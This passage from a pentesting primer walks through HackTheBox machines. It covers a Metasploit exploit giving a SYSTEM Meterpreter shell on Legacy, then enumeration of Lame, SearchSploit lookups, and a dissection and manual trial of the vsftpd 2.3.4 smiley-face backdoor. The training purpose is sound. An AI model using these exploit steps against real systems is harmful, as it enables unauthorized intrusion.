
There are a number of configurable options here, but we’ll leave most of them with their default values. The most important values to us are RHOSTS and RPORT, as these tell Metasploit which IP and port we wish to target. The RPORT value is already set to 445, which (as you’ll recall) was one of the two open ports on our target system, so we’ll

3.1. HackTheBox 41 No Skids Allowed! A Pentester's Primer

leave that alone. The RHOSTS value is empty, however, so we’ll need to provide Metasploit with the appropriate target IP. To do this, type set RHOSTS 10.10.10.4. Typing show options again, we can verify that the change was made.

Fig. 8: Verify that RHOSTS is set to 10.10.10.4.

Excellent! Now that the exploit is properly configured, we would typically want to select a payload. MSF comes with a wide variety of built-in payloads targeting a number of Operating Systems and architectures. One of its most powerful payloads is called Meterpreter, which provides a ton of useful functionality. When running a MSF exploit module, if no payload is specified, an appropriate Meterpreter payload is selected and configured by default. This will work just fine for our needs, so we can go ahead and skip this step. We’re now ready to run the exploit! To launch our attack, execute the exploit command. A bunch of text will fly by, after which your Meterpreter session will open.

Fig. 9: Running the exploit against the target.

We now have a shell on our target host! The next step is to figure out which user account we’ve taken over. To do this, use the getuid command:

42 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

meterpreter > getuid Server username: NT AUTHORITY\SYSTEM

We’re currently connected as NT AUTHORITY\SYSTEM, which is the most powerful local administrative account on the system. (This is the Windows equivalent of the root account on Unix-like systems.) We have full control!

3.1.1.4 Capturing Flags

Reference Metasploit Meterpreter Windows Post-Exploitation

Now that we’ve got access to our target system, let’s open a command prompt and see if we can find any juicy informa- tion. We’ll do this by typing the shell command, which provides us access to the familiar Windows command-line: meterpreter > shell Process 404 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

In most CTF competitions, you’ll be hunting for “flags,” which are typically short strings contained in text files which are intended to prove that you’ve successfully completed the challenge. On HackTheBox, these flags are typically stored in users’ Desktop folders. Let’s see which users we can access on this system, using the dir command. First, we’ll get a directory listing of the C:\ drive:

C:\WINDOWS\system32>dir C:\ dir C:\ Volume in drive C has no label. Volume Serial Number is 54BF-723B

Directory of C:\

16/03/2017 07:30 0 AUTOEXEC.BAT 16/03/2017 07:30 0 CONFIG.SYS 16/03/2017 08:07

Documents and Settings 16/03/2017 07:33 Program Files 16/03/2020 12:32 WINDOWS 2 File(s) 0 bytes 3 Dir(s) 6.473.027.584 bytes free

On this system, user accounts are stored in the Documents and Settings folder. Let’s see what’s inside that folder:

C:\WINDOWS\system32>dir "C:\Documents and Settings\" dir "C:\Documents and Settings\" Volume in drive C has no label. Volume Serial Number is 54BF-723B

Directory of C:\Documents and Settings

16/03/2017 08:07

. (continues on next page)

3.1. HackTheBox 43 No Skids Allowed! A Pentester's Primer

(continued from previous page) 16/03/2017 08:07

.. 16/03/2017 08:07 Administrator 16/03/2017 07:29 All Users 16/03/2017 07:33 john 0 File(s) 0 bytes 5 Dir(s) 6.473.027.584 bytes free

Notice that I surround the directory path in quotes; this is because there are spaces in the folder name. Without the quotes, Windows would think I was asking for a listing of the C:\Documents folder, which doesn’t exist. There appear to be two users on this system: Administrator and john. Let’s see what’s on John’s desktop:

C:\WINDOWS\system32>dir "C:\Documents and Settings\john\Desktop" dir "C:\Documents and Settings\john\Desktop" Volume in drive C has no label. Volume Serial Number is 54BF-723B

Directory of C:\Documents and Settings\john\Desktop

16/03/2017 08:19

. 16/03/2017 08:19 .. 16/03/2017 08:19 32 user.txt 1 File(s) 32 bytes 2 Dir(s) 6.473.027.584 bytes free

Aha! There’s a user.txt file. Let’s see what’s inside. To do this, we’ll use the type command, which prints out the contents of the file:

C:\WINDOWS\system32>type "C:\Documents and Settings\john\Desktop\user.txt" type "C:\Documents and Settings\john\Desktop\user.txt" {{{user flag redacted}}}

Bingo! There’s our first flag! We can now submit it in the HackTheBox page for Legacy to claim the User flag. Next, let’s see what’s on the Administrator account’s desktop:

C:\WINDOWS\system32>dir "C:\Documents and Settings\Administrator\Desktop" dir "C:\Documents and Settings\Administrator\Desktop" Volume in drive C has no label. Volume Serial Number is 54BF-723B

Directory of C:\Documents and Settings\Administrator\Desktop

16/03/2017 08:18

. 16/03/2017 08:18 .. 16/03/2017 08:18 32 root.txt 1 File(s) 32 bytes 2 Dir(s) 6.473.027.584 bytes free

We’ve found a root.txt file! This will typically contain the “root” flag, which proves we’ve gained admin access to the target system. Let’s see what’s inside, once again using the type command:

C:\WINDOWS\system32>type "C:\Documents and Settings\Administrator\Desktop\root.txt" type "C:\Documents and Settings\Administrator\Desktop\root.txt" {{{root flag redacted}}}

Excellent! We’ve now obtained the “root” flag, and can claim it on HackTheBox. At this point, we’ve successfully completed this CTF system! We can now disconnect from the box using the exit command twice, once to leave the

44 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

Windows command terminal, and again to exit Meterpreter.

Note: At the end of a pentest, it’s important to Cover Your Tracks. By typing exit twice, we quit the command shell as well as the Meterpreter session, disconnecting from the machine, without taking the time to clean up after ourselves. This is typically considered bad form, as it could leave backdoors or exploits running on the target. In this case, however, the only exploit we uploaded to the system was Meterpreter, and if you take a second look at Figure 9, you’ll see that Meterpreter automatically deleted the uploaded executable file before giving us a command prompt. Therefore, clean-up wasn’t really necessary.

Congratulations! You’ve successfully completed your first HackTheBox CTF challenge, and gained some valuable experience in the process. Great work!

3.1.2 Lame

Difficulty Easy Reference Enum4linux: SMB & Samba Enumeration Netcat: The Network Swiss-Army Knife Netcat Reverse Shells Nmap: the Network Mapper SearchSploit: a Searchable Database of Exploits smbclient: FTP-Like Client for SMB & Samba Tee: Transparently Save Output from Tools

3.1.2.1 Enumeration

Reference enum4linux nmap smbclient: FTP-Like Client for SMB & Samba tee

Port and Service Scanning

To start things off, let’s ping the target to ensure it’s online: kali@kali:~/HTB/Lame$ ping 10.10.10.3 -c3 PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data. 64 bytes from 10.10.10.3: icmp_seq=1 ttl=63 time=59.8 ms 64 bytes from 10.10.10.3: icmp_seq=2 ttl=63 time=59.6 ms 64 bytes from 10.10.10.3: icmp_seq=3 ttl=63 time=58.4 ms

--- 10.10.10.3 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2006ms rtt min/avg//mdev = 58.425/59.254/59.772/0.592 ms

Excellent. Using nmap, we’ll scan for open ports and see what services are running. This time, let’s use the -A command-line argument to tell nmap to run a standard battery of Nmap Scripting Engine scripts against the open ports, to see what else we can learn:

3.1. HackTheBox 45 No Skids Allowed! A Pentester's Primer

kali@kali:~/HTB/Lame$ sudo nmap -A 10.10.10.3 | tee lame.nmap Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-27 14:37 EDT Nmap scan report for 10.10.10.3 Host is up (0.060s latency). Not shown: 996 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 |_ftp-anon: Anonymous FTP login allowed (FTP code 230) [...] 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) [...] 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) [...] Host script results: |_clock-skew: mean: 2h01m58s, deviation: 2h49m45s, median: 1m55s | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | Computer name: lame | NetBIOS computer name: | Domain name: hackthebox.gr | FQDN: lame.hackthebox.gr |_ System time: 2020-05-27T14:40:11-04:00 [...] Nmap done: 1 IP address (1 host up) scanned in 63.09 seconds

We’ve identified four open ports, with four associated services: • vsftpd 2.3.4 on port 21 • OpenSSH 4.7p1 on port 22 • Samba smbd 3.0.20 on ports 139 and 445 We’ve also identified that the system is running Debian Linux, that it calls itself lame, and that its Fully Qualified Domain Name (FQDN) is lame.hackthebox.gr. This is a solid start!

Note: Back before the site was located at hackthebox.eu, HackTheBox used to be located at hackthebox.gr. The Lame target was created back before HTB moved to the new domain, hence the lame.hackthebox.gr FQDN.

Let’s see what else we can learn about this system from the open ports available.

Enumerating FTP

In the nmap results, we were informed that vsftpd 2.3.4 is configured to allow anonymous login. Let’s explore! First, we’ll login as Anonymous. Typically, the password doesn’t matter, but I like to use IEUser@, since this has been historically used by when it accesses anonymous FTP servers: kali@kali:~/HTB/Lame$ ftp 10.10.10.3 Connected to 10.10.10.3. 220 (vsFTPd 2.3.4) Name (10.10.10.3:kali): Anonymous 331 Please specify the password. Password: 230 Login successful. (continues on next page)

46 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

(continued from previous page) Remote system type is UNIX. Using binary mode to transfer files. ftp>

Nice! We’ve authenticated with the remote FTP server. Let’s see what’s around:

ftp> ls -lah 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 0 65534 4096 Mar 17 2010 . drwxr-xr-x 2 0 65534 4096 Mar 17 2010 .. 226 Directory send OK.

Unfortunately, the directory is empty. Perhaps this FTP server allows anonymous uploads? Let’s try. I’ll upload my nmap scan results, but any file will do:

ftp> put lame.nmap local: lame.nmap remote: lame.nmap 200 PORT command successful. Consider using PASV. 553 Could not create file.

No such luck.

Enumerating Samba

Samba is quite often a treasure trove of useful information. However, we’ll need to configure our system to communi- cate with Lame, since it’s using an older version of Samba. To do this, we’ll need to modify Kali’s Samba configuration as seen in the Kioptrix Level 1 walk-through. As the root user, modify the /etc/samba/smb.conf file on your Kali VM, adding the following lines immediately after the [global] line:

client min protocol = CORE client max protocol = SMB3

With that complete, we’ll begin enumerating Samba by using enum4linux. This utility has seen better days; quite often the script will spit out tons of errors as it runs, but it still returns some useful information. In order to strip out the errors and clean up the output, I’ll use tee to pipe the output from the tool into a file called lame.enum4linux:

kali@kali:~/HTB/Lame$ sudo enum4linux 10.10.10.3 | tee lame.enum4linux Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ )

˓→on Wed May 27 15:22:48 2020

======| Target Information | ======Target ...... 10.10.10.3 [...]

When the script is complete, we can review the output saved in lame.enum4linux to see what useful information was collected:

[...] ======| OS information on 10.10.10.3 | ======(continues on next page)

3.1. HackTheBox 47 No Skids Allowed! A Pentester's Primer

(continued from previous page) [...] [+] Got OS info for 10.10.10.3 from srvinfo: LAME Wk Sv PrQ Unx NT SNT lame server (Samba 3.0.20-Debian) platform_id : 500 os version : 4.9 server type : 0x9a03

======| Users on 10.10.10.3 | ======[...] index: 0x6 RID: 0xbba acb: 0x00000010 Account: user Name: just a user,111,, Desc:

˓→(null) index: 0x7 RID: 0x42a acb: 0x00000011 Account: www-data Name: www-data Desc:

˓→(null) index: 0x8 RID: 0x3e8 acb: 0x00000011 Account: root Name: root Desc: (null) [...] ======| Share Enumeration on 10.10.10.3 | ======

Sharename Type Comment ------print$ Disk Printer Drivers tmp Disk oh noes! opt Disk IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian)) ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian)) Reconnecting with SMB1 for workgroup listing.

Server Comment ------

Workgroup Master ------WORKGROUP LAME

[+] Attempting to map shares on 10.10.10.3 //10.10.10.3/print$ Mapping: DENIED, Listing: N/A //10.10.10.3/tmp Mapping: OK, Listing: OK //10.10.10.3/opt Mapping: DENIED, Listing: N/A //10.10.10.3/IPC$ [E] Can't understand response: NT_STATUS_NETWORK_ACCESS_DENIED listing \* //10.10.10.3/ADMIN$ Mapping: DENIED, Listing: N/A [...]

There’s a lot of output! Let’s parse through it, from the top.

[+] Got OS info for 10.10.10.3 from srvinfo: LAME Wk Sv PrQ Unx NT SNT lame server (Samba 3.0.20-Debian) platform_id : 500 os version : 4.9 server type : 0x9a03

We can see here that the os version is listed as 4.9. It’s important to note that this isn’t the Debian version, but rather the version of the installed. Kernel 4.9 was the default kernel in Debian 9, so this is likely the version of Debian installed on the system.

48 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

Next, we can see all the users on the system, including the following line: index: 0x6 RID: 0xbba acb: 0x00000010 Account: user Name: just a user,111,, Desc:

˓→(null)

The target has a single non-root, non-service account called user. We can also see what shares are available on the device:

Sharename Type Comment ------print$ Disk Printer Drivers tmp Disk oh noes! opt Disk IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian)) ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian)) Reconnecting with SMB1 for workgroup listing.

The tmp share looks interesting, as does opt. In the next section, we can see which shares are available to anonymous users:

//10.10.10.3/tmp Mapping: OK, Listing: OK //10.10.10.3/opt Mapping: DENIED, Listing: N/A

Looks like we won’t be able to access the opt share, but the tmp share is available. We can use smbclient to explore its contents, authenticating via a null session: kali@kali:~/HTB/Lame$ smbclient -U '' -N //10.10.10.3/tmp/ Try "help" to get a list of possible commands. smb: \> ls . D 0 Wed May 27 15:37:54 2020 .. DR 0 Sun May 20 14:36:12 2012 5143.jsvc_up R 0 Wed May 27 14:35:05 2020 .ICE-unix DH 0 Wed May 27 14:33:56 2020 .X11-unix DH 0 Wed May 27 14:34:21 2020 .X0-lock HR 11 Wed May 27 14:34:21 2020

7282168 blocks of size 1024. 5678792 blocks available

Interesting. . . Let’s see if we can download that 5143.jsvc_up file: smb: \> get 5143.jsvc_up NT_STATUS_ACCESS_DENIED opening remote file \5143.jsvc_up

No such luck. Can we upload files? Let’s try: smb: \> put lame.nmap putting file lame.nmap as \lame.nmap (12.7 kb/s) (average 12.7 kb/s) smb: \> ls . D 0 Wed May 27 16:33:42 2020 .. DR 0 Sun May 20 14:36:12 2012 5143.jsvc_up R 0 Wed May 27 14:35:05 2020 lame.nmap A 2496 Wed May 27 16:33:42 2020 .ICE-unix DH 0 Wed May 27 14:33:56 2020 .X11-unix DH 0 Wed May 27 14:34:21 2020 .X0-lock HR 11 Wed May 27 14:34:21 2020

7282168 blocks of size 1024. 5678788 blocks available

3.1. HackTheBox 49 No Skids Allowed! A Pentester's Primer

Success! We were able to upload lame.nmap to the server. This service can be used as a point of ingress for files we need to get onto the system. Can we download the file we just uploaded?

smb: \> get lame.nmap getting file \lame.nmap of size 2496 as lame.nmap (9.7 KiloBytes/sec) (average 9.8

˓→KiloBytes/sec)

Nice! It looks like we can both upload and download files on this service. This could prove useful in the future. I don’t want to leave that file there, however. It’s always a good idea to Cover Your Tracks, so I’ll use the rm command to remove the file:

smb: \> rm lame.nmap smb: \> ls . D 0 Wed May 27 17:07:59 2020 .. DR 0 Sun May 20 14:36:12 2012 5143.jsvc_up R 0 Wed May 27 14:35:05 2020 .ICE-unix DH 0 Wed May 27 14:33:56 2020 .X11-unix DH 0 Wed May 27 14:34:21 2020 .X0-lock HR 11 Wed May 27 14:34:21 2020

7282168 blocks of size 1024. 5678792 blocks available

Nice.

Enumeration Wrap-Up

We now have a pretty good view of what’s happening on this system. We’ve identified the following software running on the target: • vsftpd 2.3.4 • OpenSSH 4.7p1 • Samba 3.0.20 • Debian 9 • Linux Kernel 4.9 We’ve discovered that an account called user exists on the host, and that there’s an open Samba share called tmp, where we can upload and retrieve files. We also know that this service calls itself lame.hackthebox.gr, which could be important to know as well. With this information in-hand, let’s see what kinds of vulnerabilities we can find.

3.1.2.2 Vulnerability Assessment

Reference SearchSploit: a Searchable Database of Exploits

Now that we know what’s running on the target, let’s see if we can uncover any vulnerabilities. In the Legacy walk- through, we conducted a web search before turning to SearchSploit, but typically I like to do things the other way around. Google and other search engines are a nearly-infinite repository of information. This can be a good thing, but it can also become a “rabbit-hole” as you chase down ever-more-archaic paths in the hopes of making an exploit work. SearchSploit, on the other hand, is finite. While it contains a robust selection of exploits for myriad services, it is still quite limited, which means it’s a lot easier to avoid chasing false leads.

50 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

Personally, I prefer to use Google when SearchSploit provides no usable information, or when I need to learn more about a SearchSploit discovery. vsftpd 2.3.4

Let’s take a look at what SearchSploit has to say about the software on our target. We’ll start from the top with vsftpd 2.3.4: kali@kali:~/HTB/Lame$ searchsploit --color --id vsftpd 2.3.4 ------Exploit Title | EDB-ID ------vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | 17491 ------Shellcodes: No Results

Wonderful! Right off the bat we’ve found a potential Command Execution vulnerability. We’ll take a note, then move on to the next service.

OpenSSH 4.7p1

Our next scan is for OpenSSH 4.7p1: kali@kali:~/HTB/Lame$ searchsploit --color --id openssh 4.7 ------Exploit Title | EDB-ID ------OpenSSH 2.3 < 7.7 - Username Enumeration | 45233 OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) | 45210 OpenSSH < 6.6 SFTP (x64) - Command Execution | 45000 OpenSSH < 6.6 SFTP - Command Execution | 45001 OpenSSH < 7.4 - 'UsePrivilegeSeparation Disabled' Forwarded Unix Dom| 40962 OpenSSH < 7.4 - agent Protocol Arbitrary Library Loading | 40963 OpenSSH < 7.7 - User Enumeration (2) | 45939 ------Shellcodes: No Results

There are a lot of possibilities here, but nothing that specifically mentions version 4. Of the results, three are in regards to user enumeration, two involve command execution, and one is a local vulnerability. We can rule out the local vuln, since we’re trying to gain remote access. We can also ignore the user enumeration vulnerabilities, since our Samba enumeration provided a list of users. The two remaining vulnerabilities are in regards to SFTP, and require known credentials in order to function. You can see this for yourself by using searchsploit -x to examine the source code for the provided exploits: kali@kali:~/HTB/Lame$ searchsploit -x 45001 Exploit: OpenSSH < 6.6 SFTP - Command Execution URL: https://www.exploit-db.com/exploits/45001 Path: /usr/share/exploitdb/exploits/linux/remote/45001.py File Type: Python script, ASCII text executable, with CRLF line terminators

This command reveals the source code to the exploit:

# OpenSSH <= 6.6 SFTP misconfiguration exploit for 32/64bit Linux [...] (continues on next page)

3.1. HackTheBox 51 No Skids Allowed! A Pentester's Primer

(continued from previous page) username='secforce' password='secforce' [...] ssh.connect(hostname= host, port= port, username= username, password= password) [...]

In the above lines, we can see that the script requires a username and password, which we don’t have. It appears that none of SearchSploit’s results will be of any use.

Samba 3.0.20

Moving on to Samba:

kali@kali:~/HTB/Lame$ searchsploit --color --id samba 3.0.20 ------Exploit Title | EDB-ID ------Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | 10095 Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution | 16320 Samba < 3.0.20 - Remote Heap Overflow | 7701 Samba < 3.0.20 - Remote Heap Overflow | 7701 Samba < 3.6.2 (x86) - Denial of Service (PoC) | 36741 ------Shellcodes: No Results

Our search revealed four possible vulnerabilities (one is repeated). The first two look promising; one appears to be a security bypass, and the other is a command-execution vulnerability. The next two are identical, and are specifically for Samba < 3.0.20, meaning any version prior to our target version. These likely won’t work for us. Finally, we’ve got no interest in the DoS exploit (remember, Don’t be a DoSser). Two out of four ain’t bad! We’ll make a note of the two potential vulnerabilities, and move on.

Debian 9 and Linux Kernel 4.9

When seeking vulnerabilities for specific services, you’ll often come up empty-handed. Vulnerabilities require analysts to discover them, and hackers to publish exploit code, otherwise they’ll never be found in places like Exploit Database. If your target is running obscure software, such as a little-known niche web service or custom software developed “in- house,” they might be full of vulnerabilities that have yet to be discovered! Even with well-known services like Samba, a search including a version number might return no results. To find what you need, you may have to broaden your search to include more varied results. When seeking vulnerabilities in a particular Operating System, however, we encounter the exact opposite problem; instead of having too few results to choose from, we wind up with too many. Even our SearchSploit results are expansive:

kali@kali:~/HTB/Lame$ searchsploit --color --id debian 9 ------Exploit Title | EDB-ID ------BSD/OS 2.1 / DG/UX 4.0 / Debian 0.93 / Digital UNIX 4.0 B / FreeBSD | 19203 BSD/OS 2.1 / DG/UX 7.0 / Debian 1.3 / HP-UX 10.34 / IBM AIX 4.2 / SG| 19172 BSD/OS 2.1 / DG/UX 7.0 / Debian 1.3 / HP-UX 10.34 / IBM AIX 4.2 / SG| 19173 (continues on next page)

52 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

Fig. 10: Google search for Debian 9 exploits: 855,000 results.

(continued from previous page) Caldera OpenLinux 2.2 / Debian 2.1/2.2 / RedHat 6.0 - Vixie MAI| 19474 Debian 2.0 - Super Syslog | 19270 Debian 2.0/2.0 r5 / FreeBSD 3.2 / OpenBSD 2.4 / RedHat 5.2 i386 / S.| 19373 Debian 2.0/2.0 r5 / FreeBSD 3.2 / OpenBSD 2.4 / RedHat 5.2 i386 / S.| 19374 Debian 2.1 - apcd Symlink | 19735 Debian 2.1 - HTTPd | 19253 Debian 2.1 - Print Queue Control | 19384 Debian 2.1/2.2 - Man Cache File Creation | 20897 Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation| 6094 Debian suidmanager 0.18 - Command Execution | 19080 Debian XTERM - 'DECRQSS/comments' Code Execution | 7681 gpm 1.18.1/1.19 / Debian 2.x / RedHat 6.x / S.u.S.E 5.3/6.x - gpm Se| 19816 Linux Kernel (Debian 7.7/8.5/9.0 / 14.04.2/16.04.2/17.04 / Fe| 42275 Linux Kernel (Debian 7/8/9/10 / Fedora 23/24/25 / CentOS 5.3/5.11/6.| 42274 Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23| 42276 Linux Kernel 2.0.x (Debian 2.1 / RedHat 5.2) - Packet Length with Op| 19675 Linux Kernel 2.2/2.3 (Debian Linux 2.1 / RedHat Linux 6.0 / SuSE Lin| 19241 Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local| 8478 Linux Kernel 2.6.32-5 (Debian 6.0.5) - '/dev/ptmx' Key Stroke Timing| 24459 Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64| 45516 Linux Kernel 4.13 (Debian 9) - Local Privilege Escalation | 44303 Linux Kernel < 2.6.19 (Debian 4) - 'udp_sendmsg' Local Privilege Esc| 9575 Linux Kernel < 2.6.7-rc3 (Slackware 9.1 / Debian 3.0) - 'sys_chown()| 718 Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Es| 44302 ntfs-3g (Debian 9) - Local Privilege Escalation | 41240 OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable P| 5622 OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable P| 5720 OpenSSL 0.9.8c-1 < 0.9.8g-9 (Debian and Derivatives) - Predictable P| 5632 phpGroupWare 0.9.13 - Debian Package Configuration | 21365 Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege| 23674 Stanford University bootpd 2.4.3 / Debian 2.0 - netstd | 19256 ------Shellcodes: No Results

Operating Systems are big, complex machines built of thousands of interconnected parts. When seeking vulnerabilities in an OS or kernel, you’ll want to get a bit more specific. Have you gained access to the system, and you’re trying to gain root? You’ll want to search for privilege escalation: kali@kali:~/HTB/Lame$ searchsploit --color --id debian 9 privilege escalation ------Exploit Title | EDB-ID ------BSD/OS 2.1 / DG/UX 4.0 / Debian 0.93 / Digital UNIX 4.0 B / FreeBSD | 19203 (continues on next page)

3.1. HackTheBox 53 No Skids Allowed! A Pentester's Primer

(continued from previous page) BSD/OS 2.1 / DG/UX 7.0 / Debian 1.3 / HP-UX 10.34 / IBM AIX 4.2 / SG| 19172 BSD/OS 2.1 / DG/UX 7.0 / Debian 1.3 / HP-UX 10.34 / IBM AIX 4.2 / SG| 19173 Debian OpenSSH - (Authenticated) Remote SELinux Privilege Escalation| 6094 Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fe| 42275 Linux Kernel (Debian 7/8/9/10 / Fedora 23/24/25 / CentOS 5.3/5.11/6.| 42274 Linux Kernel (Debian 9/10 / Ubuntu 14.04.5/16.04.2/17.04 / Fedora 23| 42276 Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local| 8478 Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64| 45516 Linux Kernel 4.13 (Debian 9) - Local Privilege Escalation | 44303 Linux Kernel < 2.6.19 (Debian 4) - 'udp_sendmsg' Local Privilege Esc| 9575 Linux Kernel < 2.6.7-rc3 (Slackware 9.1 / Debian 3.0) - 'sys_chown()| 718 Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Es| 44302 ntfs-3g (Debian 9) - Local Privilege Escalation | 41240 Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege| 23674 ------Shellcodes: No Results

That’s still a lot of results, but we could narrow it down more and more until we find what we’re looking for. However, this is a time-consuming process without a great deal of payoff, so as with brute-force attacks, I typically avoid a deep-dive into OS and kernel vulnerabilities until I’ve exhausted all other possibilities. If I can’t find what I’m looking for on the first page of Google results, I’m probably barking up the wrong tree (or my Google-fu is weak).

Possible Targets

Here are the results of our vulnerability search, including EDB IDs: • vsftpd 2.3.4: Backdoor Command Execution (17491) • Samba 3.0.20: Security Bypass (10095) and Command Execution (16320) It’s not a lot, but three potential vulnerabilities is better than none!

3.1.2.3 Exploitation

Reference netcat Netcat Reverse Shells nmap SearchSploit: a Searchable Database of Exploits

Time to test the mettle of the exploits we uncovered. As before, we’ll start from the top. vsftpd 2.3.4

Using the -x flag with SearchSploit, let’s examine the source code of the vsftpd exploit: kali@kali:~/HTB/Lame$ searchsploit -x 17491 Exploit: vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) URL: https://www.exploit-db.com/exploits/17491 Path: /usr/share/exploitdb/exploits/unix/remote/17491.rb File Type: Ruby script, ASCII text, with CRLF line terminators

54 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

This exploit is written for Metasploit. It’s not terribly complex, and with a little effort we can piece together what the exploit does. The most important section of code is the exploit function. Let’s break it down. The first part of the function connects to the target FTP service, then grabs the banner: def exploit [...] # Connect to the FTP service port first connect

banner= sock.get_once(-1, 30).to_s print_status("Banner: #{banner.strip}")

With the connection established, the script sends a specially-crafted username: sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n") resp= sock.get_once(-1, 30).to_s print_status("USER: #{resp.strip}")

The #{rand_text_alphanumeric(rand(6)+1)} bit generates a string of one to six random alphanumeric characters. Let’s substitute XXXX and see what the sock.put function is sending to the FTP server:

USER XXXX:)\r\n

Dissecting this, we can see that the script is issuing the USER command to authenticate with the remote FTP service. Next, it sends XXXX, followed by :) (a smiley-face), followed by \r\n, which tells the FTP server that the command is complete. Based on this information, it looks like any username will do, as long as it’s followed by the :) smiley. After sending the crafted username, the script checks the response from the server. It checks whether the return value starts with 530, or any other response code besides 331, which would signal the failure of the exploit attempt: if resp =~/^530/ print_error("This server is configured for anonymous only and the backdoor

˓→code cannot be reached") disconnect return end if resp !~/^331/ print_error("This server did not respond as expected: #{resp.strip}") disconnect return end

If the response code was 331, the script proceeds to send a randomly-generated password to the FTP service: sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

But this password is irrelevant; simply by sending the appropriate USER and PASS commands, the exploit should have triggered the backdoor. In this case, the backdoor opens a bind shell on port 6200, so the script checks to see if that port is open:

# Do not bother reading the response from password, just try the backdoor nsock= self.connect( false,{'RPORT'=> 6200}) rescue nil

If the port was opened successfully, the script connects and provides a command-line backdoor to the target:

3.1. HackTheBox 55 No Skids Allowed! A Pentester's Primer

if nsock print_good("Backdoor service has been spawned, handling...") handle_backdoor(nsock) return end

disconnect end

Now that we know how the exploit works, we no longer need it. This exploit is simple enough that we can attempt it by hand. Recall that in our original port scan, port 6200 was not open. We can double-check this easily with nmap: kali@kali:~/HTB/Lame$ nmap -Pn -p 6200 10.10.10.3 Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-28 14:45 EDT Nmap scan report for 10.10.10.3 Host is up.

PORT STATE SERVICE 6200/tcp filtered lm-x

Nmap done: 1 IP address (1 host up) scanned in 2.14 seconds

The port is marked as filtered, which means nmap could not tell whether the port was closed or open. Let’s see if netcat can shed any light on the situation: kali@kali:~/HTB/Lame$ nc -vn -w 3 10.10.10.3 6200 (UNKNOWN) [10.10.10.3] 6200 (?) : Connection timed out

The port is refusing to connect. Now that we’ve proven the port to be closed (at least to the outside), let’s see if we can exploit the service. We’ll use netcat again, this time connecting to port 21 to send the appropriate exploit values: kali@kali:~/HTB/Lame$ nc 10.10.10.3 21 220 (vsFTPd 2.3.4) USER TEST:) 331 Please specify the password. PASS WHATEVER

Having sent the username with the smiley-face, and an appropriate password, we can check port 6200 again to see if the backdoor was opened: kali@kali:~/HTB/Lame$ nc -vn -w 3 10.10.10.3 6200 (UNKNOWN) [10.10.10.3] 6200 (?) : Connection timed out

No such luck. It appears that either this is a patched version of vsftpd, or port 6200 is being blocked by the firewall. Either way, it’s time to move to our next target.

56 Chapter 3. Walk-Throughs No Skids Allowed! A Pentester's Primer

Samba 3.0.20

We’ve got two potential vulnerabilities in this version of Samba. One is a security bypass, and the other is a command- execution vulnerability. Between the two, the latter seems like a more valuable vulnerability, and it’s applicable to our specific target version. For these reasons, we’ll target the command-execution vulnerability first. Using SearchSploit, let’s take a look at the source code: kali@kali:~/HTB/Lame$ searchsploit -x 16320 Exploit: Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution

˓→(Metasploit) URL: https://www.exploit-db.com/exploits/16320 Path: /usr/share/exploitdb/exploits/unix/remote/16320.rb File Type: Ruby script, ASCII text, with CRLF line terminators

